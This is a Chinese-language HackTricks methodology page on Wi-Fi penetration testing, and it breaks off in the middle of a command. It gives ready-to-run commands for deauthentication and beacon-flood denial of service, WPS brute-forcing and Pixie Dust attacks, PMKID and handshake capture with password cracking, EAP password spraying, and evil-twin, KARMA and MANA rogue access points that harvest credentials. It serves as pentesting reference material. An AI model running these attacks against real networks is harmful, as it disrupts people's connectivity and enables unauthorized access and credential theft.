hacktricks/generic-methodologies-and-resources/pentesting-wifi/README.md

42 KiB
Raw Blame History

Wifi渗透测试

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
随时了解最新的赏金计划发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

Wifi基本命令

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

工具

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon是一个多用途的无线渗透测试工具它结合了许多无线渗透测试工具的功能使得渗透测试人员可以更轻松地执行各种无线渗透测试任务。

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用docker运行airgeddon

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

它可以执行恶意双胞胎、KARMA 和已知信标攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭证。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

这个工具自动化执行 WPS/WEP/WPA-PSK 攻击。它会自动执行以下操作:

  • 将接口设置为监听模式
  • 扫描可能的网络 - 并让您选择受害者
  • 如果是 WEP - 启动 WEP 攻击
  • 如果是 WPA-PSK
  • 如果是 WPSPixie dust 攻击和暴力破解攻击(请注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。
  • 尝试捕获来自 AP 的 PMKID 以进行破解
  • 尝试使 AP 的客户端断开连接以捕获握手
  • 如果有 PMKID 或握手,尝试使用前 5000 个密码进行暴力破解。

攻击摘要

  • DoS
  • 拒绝服务攻击/断开连接 -- 断开所有人(或特定的 ESSID/客户端)
  • 随机虚假 AP -- 隐藏网络,可能导致扫描器崩溃
  • 过载 AP -- 尝试使 AP 崩溃(通常不太有用)
  • WIDS -- 与 IDS 交互
  • TKIPEAPOL -- 一些特定的攻击方式来对一些 AP 进行 DoS 攻击
  • 破解
  • 破解 WEP(多种工具和方法)
  • WPA-PSK
  • WPS PIN “暴力破解”
  • WPA PMKID 暴力破解
  • [DoS +] WPA 握手 捕获 + 破解
  • WPA-MGT
  • 用户名捕获
  • 暴力破解 凭据
  • 恶意双胞胎(带或不带 DoS
  • 开放 恶意双胞胎 [+ DoS] -- 用于捕获强制门户凭据和/或执行局域网攻击
  • WPA-PSK 恶意双胞胎 -- 如果您知道密码,用于网络攻击
  • WPA-MGT -- 用于捕获公司凭据
  • KARMA, MANA, Loud MANA, 已知信标
  • + 开放 -- 用于捕获强制门户凭据和/或执行局域网攻击
  • + WPA -- 用于捕获 WPA 握手

DoS

拒绝服务攻击包

来自 这里.

拒绝服务 攻击是 Wi-Fi 黑客中常见的一种方法,涉及伪造“管理”帧以强制将设备从网络中断开。这些未加密的数据包欺骗客户端,使其相信这些数据包来自合法网络,使攻击者能够收集用于破解的 WPA 握手或持续干扰网络连接。这种简单但令人震惊的策略被广泛使用,并对网络安全产生重大影响。

使用 Aireplay-ng 进行拒绝服务攻击

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示去认证
  • 1 是要发送的去认证数量如果需要可以发送多个0 表示持续发送
  • -a 00:14:6C:7E:40:80 是接入点的 MAC 地址
  • -c 00:0F:B5:34:30:30 是要去认证的客户端的 MAC 地址;如果省略此项,则发送广播去认证(不总是有效)
  • ath0 是接口名称

解关联数据包

解关联数据包,类似于去认证数据包,是 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备如笔记本电脑或智能手机与接入点AP之间的连接。解关联和去认证之间的主要区别在于它们的使用场景。当 AP 发出 去认证数据包 以明确从网络中移除恶意设备时,通常在 AP 正在关闭、重新启动或迁移时发送 解关联数据包,从而需要断开所有连接的节点。

此攻击可通过 mdk4模式 "d")执行:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

通过 mdk4 进行更多的 DOS 攻击

这里

攻击模式 b: Beacon Flood 攻击

发送信标帧以展示虚假的接入点给客户端。这有时会导致网络扫描工具甚至驱动程序崩溃!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

攻击模式 a: 认证拒绝服务

向范围内所有可访问的接入点AP发送认证帧可能会使这些AP过载特别是当涉及大量客户端时。这种强烈的流量可能导致系统不稳定导致一些AP冻结甚至重置。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻击模式 p: SSID探测和暴力破解

探测接入点AP会检查SSID是否被正确显示并确认AP的范围。这种技术结合使用带有或不带有字典的暴力破解隐藏的SSID,有助于识别和访问隐藏网络。

攻击模式 m: Michael对策利用

向不同的QoS队列发送随机或重复的数据包可能会触发TKIP AP上的Michael对策导致AP关闭一分钟。这种方法是一种高效的DoS(拒绝服务)攻击策略。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL Start 和 Logoff 数据包注入

通过向接入点AP发送大量的 EAPOL Start 帧 可以创建 虚假会话使AP不堪重负并阻塞合法客户端。另一种方法是注入 虚假的 EAPOL Logoff 消息 强制断开客户端连接,这两种方法都能有效地干扰网络服务。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

攻击模式 s: 针对 IEEE 802.11s 网络的攻击

针对网状网络中的链路管理和路由的各种攻击。

攻击模式 w: WIDS 混淆

将客户端交叉连接到多个 WDS 节点或虚假的伪装 AP 可以操纵入侵检测和预防系统,制造混乱并可能导致系统被滥用。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

攻击模式 f: 数据包模糊器

一个数据包模糊器,具有多样的数据包来源和用于数据包操作的全面修改器集合。

Airggedon

Airgeddon 提供了先前评论中提出的大部分攻击:

WPS

WPSWi-Fi Protected Setup简化了将设备连接到路由器的过程增强了对使用WPAWPA2个人加密网络的设置速度和便捷性。对于易受攻击的WEP安全性来说WPS是无效的。WPS采用一个由两部分验证的8位数PIN由于其有限的组合数量11,000种可能性容易受到暴力破解攻击的影响。

WPS 暴力破解

有两个主要工具可执行此操作Reaver 和 Bully。

  • Reaver 旨在针对WPS进行强大而实用的攻击并已针对各种接入点和WPS实现进行了测试。
  • Bully 是WPS暴力破解攻击的新实现用C语言编写。它相对于原始的reaver代码具有几个优点较少的依赖性改进的内存和CPU性能正确处理字节序以及更强大的选项集。

该攻击利用了WPS PIN的漏洞,特别是其暴露的前四位数字和最后一位数字作为校验和的作用,从而简化了暴力破解攻击。然而,对抗暴力破解攻击的防御措施,如阻止攻击者的MAC地址,需要进行MAC地址轮换以继续攻击。

通过使用类似Bully或Reaver的工具获取WPS PIN后攻击者可以推断出WPA/WPA2 PSK确保持久的网络访问

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

智能暴力破解

这种精细的方法针对使用已知漏洞的WPS PIN

  1. 预先发现的PIN利用已知使用统一WPS PIN的特定制造商的PIN数据库。该数据库将MAC地址的前三个八位字节与这些制造商的可能PIN相关联。
  2. PIN生成算法利用ComputePIN和EasyBox等算法根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID为PIN生成过程增加了一层。

WPS Pixie Dust攻击

Dominique Bongard发现了一些接入点AP在创建秘密代码称为nonceE-S1E-S2方面存在缺陷。如果能够找出这些nonce破解AP的WPS PIN就变得容易。AP通过特殊代码哈希显示PIN以证明其合法性而不是伪造恶意AP。这些nonce本质上是解锁保存WPS PIN的“保险柜”的“钥匙”。更多信息请参阅这里

简单来说问题在于一些AP在连接过程中未使用足够随机的密钥加密PIN。这使得PIN容易受到外部网络离线暴力破解攻击的猜测。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

如果您不想将设备切换到监视模式,或者reaverbully存在一些问题,您可以尝试OneShot-C。 这个工具可以执行 Pixie Dust 攻击,而无需切换到监视模式。

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

空 Pin 攻击

一些设计不良的系统甚至允许空 PIN(空或不存在的 PIN授予访问权限这是相当不寻常的。与Bully 不同,工具 Reaver 能够测试这种漏洞。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提出的WPS攻击都可以通过 airgeddon 轻松执行。

  • 步骤5和6允许您尝试 自定义PIN(如果有的话)
  • 步骤7和8执行 Pixie Dust攻击
  • 步骤13允许您测试 NULL PIN
  • 步骤11和12将从可用数据库中 重新收集与所选AP相关的PIN 并使用以下方式生成可能的 PINComputePIN、EasyBox以及可选的Arcadyan推荐为什么不呢
  • 步骤9和10将测试 每个可能的PIN

WEP

现在已经破解且不再使用。只需知道 airgeddon 有一个名为“全能”的WEP选项来攻击这种保护。更多工具提供类似选项。


加入 HackenProof Discord 服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解了解快节奏的黑客世界

最新公告
了解最新的赏金任务发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!


WPA/WPA2 PSK

PMKID

2018年hashcat 揭示 了一种新的攻击方法,独特之处在于它只需要 一个数据包并且不需要任何客户端连接到目标AP——只需攻击者与AP之间的交互。

许多现代路由器在关联期间的第一个EAPOL帧中添加了一个 可选字段,称为 Robust Security Network。其中包括 PMKID

正如原始帖子所解释的那样,PMKID 是使用已知数据创建的:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

鉴于"PMK名称"是恒定的我们知道AP和站点的BSSID并且PMK与完整的4路握手中的相同hashcat可以使用此信息来破解PSK并恢复密码

收集此信息并在本地暴力破解密码,您可以执行:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

捕获到的PMKIDs将显示在控制台中,并且也会保存在 _/tmp/attack.pcap_
现在,将捕获的内容转换为hashcat/john格式并进行破解:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确的哈希格式包含4个部分,如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 如果您的哈希值只包含3个部分,那么它是无效的PMKID捕获无效

请注意,hcxdumptool也会捕获握手(类似于这样的内容将出现:MP:M1M2 RC:63258 EAPOLTIME:17091)。您可以使用cap2hccapx握手转换为hashcat/john格式。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

握手捕获

WPA/WPA2网络的攻击可以通过捕获握手并尝试离线破解密码来执行。这个过程涉及监视特定网络和BSSID在特定信道上的通信。以下是简化的指南:

  1. 确定目标网络的BSSID信道已连接客户端
  2. 使用airodump-ng来监视指定信道和BSSID上的网络流量希望捕获一个握手。命令如下
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. 为了增加捕获握手的机会,暂时断开客户端与网络的连接,强制重新认证。可以使用 aireplay-ng 命令来实现,该命令向客户端发送去认证数据包:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

注意,由于客户端被去认证,它可能会尝试连接到另一个接入点,或者在其他情况下,连接到另一个网络。

一旦在 airodump-ng 中出现一些握手信息,这意味着已捕获到握手,您可以停止监听:

一旦捕获到握手,您可以使用 aircrack-ng 进行破解

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中是否存在握手信息

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

如果此工具在找到完整握手之前找到了 ESSID 的不完整握手,则不会检测到有效的握手。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA企业MGT

企业WiFi设置中您将遇到各种认证方法,每种方法提供不同的安全级别和管理功能。当您使用诸如airodump-ng之类的工具来检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (通用令牌卡):
  • 该方法支持硬件令牌和EAP-PEAP中的一次性密码。与MSCHAPv2不同它不使用对等挑战并将密码以明文形式发送到接入点存在降级攻击的风险。
  1. EAP-MD5 (消息摘要 5):
  • 包括从客户端发送密码的MD5哈希。由于容易受到字典攻击的漏洞、缺乏服务器认证以及无法生成特定会话的WEP密钥不建议使用该方法。
  1. EAP-TLS (传输层安全):
  • 采用客户端和服务器端证书进行身份验证并可动态生成用于保护通信的基于用户和会话的WEP密钥。
  1. EAP-TTLS (隧道传输层安全):
  • 通过加密隧道提供相互认证以及一种派生动态的、每个用户、每个会话的WEP密钥的方法。它仅需要服务器端证书客户端使用凭据。
  1. PEAP (受保护的可扩展认证协议):
  • 通过为受保护的通信创建TLS隧道类似于EAP的功能。由于隧道提供的保护它允许在EAP之上使用较弱的身份验证协议。
  • PEAP-MSCHAPv2: 通常称为PEAP它将易受攻击的MSCHAPv2挑战/响应机制与保护性TLS隧道结合在一起。
  • PEAP-EAP-TLS (或PEAP-TLS): 类似于EAP-TLS但在交换证书之前启动TLS隧道提供额外的安全层。

您可以在这里这里找到有关这些身份验证方法的更多信息。

用户名捕获

阅读https://tools.ietf.org/html/rfc3748#page-27后,如果您使用EAP,则必须支持**“Identity”** 消息,并且用户名将在**“Response Identity”** 消息中以明文形式发送。

即使使用最安全的身份验证方法之一:PEAP-EAP-TLS,也可以捕获在EAP协议中发送的用户名。为此,捕获身份验证通信(在一个信道内启动airodump-ng,在同一接口上启动wireshark)并通过eapol过滤数据包。
在“Response, Identity”数据包中,将显示客户端的用户名

匿名身份

EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi网络的背景下接入点AP通常在关联过程中发起EAP-Identity请求。为确保用户匿名性的保护来自用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。通过以下场景说明了这一概念

  • EAP-Identity = 匿名
  • 在此场景中所有用户都使用“匿名”作为他们的用户标识符。初始RADIUS服务器充当EAP-PEAP或EAP-TTLS服务器负责管理PEAP或TTLS协议的服务器端。然后内部受保护的身份验证方法要么在本地处理要么委托给远程主页RADIUS服务器。
  • EAP-Identity = 匿名@realm_x
  • 在这种情况下来自不同领域的用户隐藏其身份同时指示各自的领域。这使得初始RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到其主页领域中的RADIUS服务器后者充当PEAP或TTLS服务器。初始RADIUS服务器仅充当RADIUS中继节点。

  • 或者初始RADIUS服务器可以充当EAP-PEAP或EAP-TTLS服务器并处理受保护的身份验证方法或将其转发到另一台服务器。此选项便于为不同领域配置不同的策略。

在EAP-PEAP中一旦建立了PEAP服务器和PEAP客户端之间的TLS隧道PEAP服务器会发起EAP-Identity请求并通过TLS隧道传输。客户端会通过加密隧道发送包含用户真实身份的第二个EAP-Identity响应以回应此次EAP-Identity请求。这种方法有效地防止了任何窃听802.11流量的人揭示用户的实际身份。

EAP-TTLS遵循稍微不同的过程。使用EAP-TTLS时客户端通常使用PAP或CHAP进行身份验证由TLS隧道保护。在这种情况下客户端在隧道建立后发送的初始TLS消息中包含一个User-Name属性和一个Password或CHAP-Password属性。

无论选择哪种协议PEAP/TTLS服务器在建立TLS隧道后都会获知用户的真实身份。真实身份可以表示为user@realm或仅为user。如果PEAP/TTLS服务器还负责对用户进行身份验证则现在拥有用户的身份并继续使用TLS隧道保护的身份验证方法。或者PEAP/TTLS服务器可以向用户的主页RADIUS服务器转发新的RADIUS请求。这个新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的身份验证方法为EAP的情况下内部EAP消息将被传输到主页RADIUS服务器而不包含EAP-PEAP或EAP-TTLS包装。传出RADIUS消息的User-Name属性包含用户的真实身份替换了传入RADIUS请求中的匿名User-Name。如果受保护的身份验证方法是PAP或CHAP仅由TTLS支持则从TLS负载中提取的User-Name和其他身份验证属性将替换传入RADIUS请求中找到的匿名User-Name和TTLS EAP-Message属性。

有关更多信息,请查看https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-暴力破解(密码喷洒)

如果客户端预计使用用户名和密码(请注意,在这种情况下EAP-TLS将无效),则可以尝试获取用户名列表(请参见下一部分)和密码,并尝试使用air-hammer****进行访问的暴力破解

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

您也可以使用 eaphammer 进行此攻击:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择和漫游

  • 802.11协议定义了一个站点如何加入扩展服务集ESS但并未指定选择ESS或其中的接入点AP的标准。
  • 站点可以在共享相同ESSID的AP之间漫游跨建筑物或区域保持连接。
  • 该协议要求站点对ESS进行身份验证但不要求AP对站点进行身份验证。

首选网络列表PNLs

  • 站点将连接到的每个无线网络的ESSID存储在其首选网络列表PNL以及网络特定的配置详细信息。
  • PNL用于自动连接到已知网络通过简化连接过程来改善用户体验。

被动扫描

  • AP定期广播信标帧宣布其存在和特性包括AP的ESSID除非禁用广播。
  • 在被动扫描期间站点监听信标帧。如果信标的ESSID与站点的PNL中的条目匹配则站点可能会自动连接到该AP。
  • 知道设备的PNL可以通过模仿已知网络的ESSID来欺骗设备连接到伪造的AP从而进行潜在的利用。

主动探测

  • 主动探测涉及站点发送探测请求以发现附近的AP及其特征。
  • 定向探测请求针对特定ESSID有助于检测特定网络是否在范围内即使是隐藏网络也可以。
  • 广播探测请求具有空的SSID字段并发送给所有附近的AP让站点检查任何首选网络而不透露其PNL内容。

具有重定向到互联网的简单AP

在解释如何执行更复杂的攻击之前,将解释如何仅创建一个AP并将其流量重定向到连接到互联网的接口。

使用ifconfig -a检查用于创建AP的wlan接口和连接到互联网的接口是否存在。

DHCP和DNS

apt-get install dnsmasq #Manages DHCP and DNS

创建配置文件 /etc/dnsmasq.conf

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后设置IP路由

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后 启动 dnsmasq

dnsmasq -C dnsmasq.conf -d

hostapd

hostapd

apt-get install hostapd

创建一个配置文件 hostapd.conf

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程,设置监控模式,然后启动hostapd

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发和重定向

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

恶意孪生者

恶意孪生者攻击利用WiFi客户端识别网络的方式主要依赖网络名称ESSID而无需基站接入点向客户端进行身份验证。关键点包括

  • 难以区分当合法和恶意接入点共享相同的ESSID和加密类型时设备很难区分二者。现实世界中的网络通常使用多个具有相同ESSID的接入点以无缝扩展覆盖范围。

  • 客户端漫游和连接操纵802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过发送去认证数据包或干扰合法接入点的连接等方法来实现。

  • 执行中的挑战:在具有多个位置良好的接入点的环境中成功执行恶意孪生者攻击可能具有挑战性。去认证单个合法接入点通常会导致设备连接到另一个合法接入点,除非攻击者可以去认证所有附近的接入点或策略性地放置恶意接入点。

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

您还可以使用eaphammer创建一个恶意双子请注意要使用eaphammer创建恶意双子接口不应该处于监控模式):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

或者使用Airgeddon选项5,6,7,8,9在恶意双胞胎攻击菜单中

请注意默认情况下如果PNL中保存的ESSID受到WPA保护设备不会自动连接到一个开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击并希望用户手动连接到您的开放恶意双胞胎或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎来捕获握手使用此方法您将无法让受害者连接到您因为您不知道PSK但您可以捕获握手并尝试破解它

一些操作系统和防病毒软件会警告用户连接到开放网络是危险的...

WPA/WPA2恶意双胞胎

您可以创建一个使用WPA/2的恶意双胞胎如果设备已配置为使用WPA/2连接到该SSID它们将尝试连接。无论如何为了完成4次握手,您还需要知道客户端将使用的密码。如果您不知道它,连接将无法完成

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

企业级恶意双生

要了解这些攻击,我建议先阅读简要的WPA企业解释

使用hostapd-wpe

hostapd-wpe需要一个配置文件才能工作。要自动化生成这些配置,您可以使用https://github.com/WJDigby/apd_launchpad下载python文件到 /etc/hostapd-wpe/)。

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

在配置文件中您可以选择许多不同的内容如SSID、频道、用户文件、证书/密钥、DH参数、WPA版本和认证...

使用hostapd-wpe与EAP-TLS允许任何证书登录。

使用EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下EAPHammer使用以下身份验证方法请注意首先尝试获取明文密码的是GTC然后使用更强大的身份验证方法

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是避免长连接时间的默认方法。但是,您也可以指定服务器的认证方法从最弱到最强:

--negotiate weakest

或者您也可以使用:

  • 使用--negotiate gtc-downgrade来使用高效的GTC降级实现明文密码
  • 使用--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP来手动指定提供的方法(以与组织相同的顺序提供相同的认证方法,攻击将更难被检测)。
  • 在维基中查找更多信息

使用Airgeddon

Airgeddon可以使用先前生成的证书来为WPA/WPA2企业网络提供EAP身份验证。虚假网络将将连接协议降级为EAP-MD5以便捕获用户和密码的MD5。稍后,攻击者可以尝试破解密码。
Airggedon为您提供了**持续的恶意双子攻击(嘈杂)仅在有人连接时创建恶意攻击(平稳)**的可能性。

在恶意双子攻击中调试PEAP和EAP-TTLS TLS隧道

此方法在PEAP连接中进行了测试但由于我正在解密一个任意的TLS隧道因此这也应该适用于EAP-TTLS

在_hostapd-wpe_的配置注释包含dh_file的行(从dh_file=/etc/hostapd-wpe/certs/dh#dh_file=/etc/hostapd-wpe/certs/dh
这将使hostapd-wpe使用RSA交换密钥而不是DH因此您将能够稍后知道服务器的私钥解密流量。

现在像往常一样使用修改后的配置启动恶意双子使用**hostapd-wpe。同时,在执行恶意双子攻击的接口上启动wireshark**。

现在或稍后(当您已经捕获了一些认证意图时),您可以在Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...中向wireshark添加私有RSA密钥。

添加一个新条目并填写以下值:IP地址 = any -- 端口 = 0 -- 协议 = 数据 -- 密钥文件选择您的密钥文件,为避免问题,请选择一个没有密码保护的密钥文件)。

然后查看新的**"解密的TLS"标签**

KARMA、MANA、Loud MANA和已知信标攻击

ESSID和MAC黑/白名单

不同类型的媒体访问控制过滤列表MFACLs及其相应的模式和对恶意接入点AP行为的影响

  1. 基于MAC的白名单
  • 恶意AP将仅对白名单中指定的设备的探测请求做出响应对所有未列出的设备保持不可见。
  1. 基于MAC的黑名单
  • 恶意AP将忽略黑名单中设备的探测请求有效地使恶意AP对这些特定设备不可见。
  1. 基于ESSID的白名单
  • 恶意AP将仅对列出的特定ESSID的探测请求做出响应使其对不包含这些ESSID的首选网络列表PNLs的设备不可见。
  1. 基于ESSID的黑名单
  • 恶意AP将不对黑名单中的特定ESSID的探测请求做出响应使其对寻找这些特定网络的设备不可见。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

这种方法允许攻击者创建一个恶意接入点AP它会响应所有寻找连接网络的设备的探测请求。这种技术通过模仿设备正在搜索的网络欺骗设备连接到攻击者的AP。一旦设备向这个恶意AP发送连接请求它会完成连接导致设备错误地连接到攻击者的网络。

MANA

随后,设备开始忽略未经请求的网络响应降低了原始karma攻击的有效性。然而Ian de Villiers和Dominic White引入了一种新方法称为MANA攻击。这种方法涉及恶意AP通过响应设备的广播探测请求来捕获设备的首选网络列表PNL并提供设备之前请求过的网络名称SSID。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式绕过了原始karma攻击的保护措施。

MANA攻击通过监视设备的定向和广播探测请求来运作。对于定向请求它记录设备的MAC地址和请求的网络名称并将这些信息添加到列表中。当接收到广播请求时AP会回复与设备列表中任何网络匹配的信息诱使设备连接到恶意AP。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Loud MANA攻击是一种高级策略用于当设备不使用定向探测或攻击者不知道它们的首选网络列表PNL时。它的操作原理是同一区域的设备很可能在它们的PNL中共享一些网络名称。与有选择性地响应不同这种攻击会为所有观察到的设备的组合PNL中发现的每个网络名称ESSID广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点AP的机会。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

已知信标攻击

Loud MANA攻击可能不够时,已知信标攻击提供了另一种方法。该方法通过模拟一个响应任何网络名称的AP循环遍历来自字典的潜在ESSID列表通过强制连接过程。这会模拟存在大量网络的情况希望能够匹配受害者PNL中的ESSID促使连接尝试连接到伪造的AP。该攻击可以通过与--loud选项结合使用来增强,以更积极地尝试诱捕设备。

Eaphammer将此攻击实现为MANA攻击其中列表中的所有ESSID都会被充电您还可以将其与--loud结合使用创建Loud MANA + Known beacons攻击:

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

已知的信标突发攻击

已知的信标突发攻击涉及对文件中列出的每个ESSID进行信标帧的快速广播。这将创建一个充满虚假网络的密集环境极大地增加设备连接到恶意AP的可能性特别是当与MANA攻击结合使用时。该技术利用速度和数量来淹没设备的网络选择机制。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
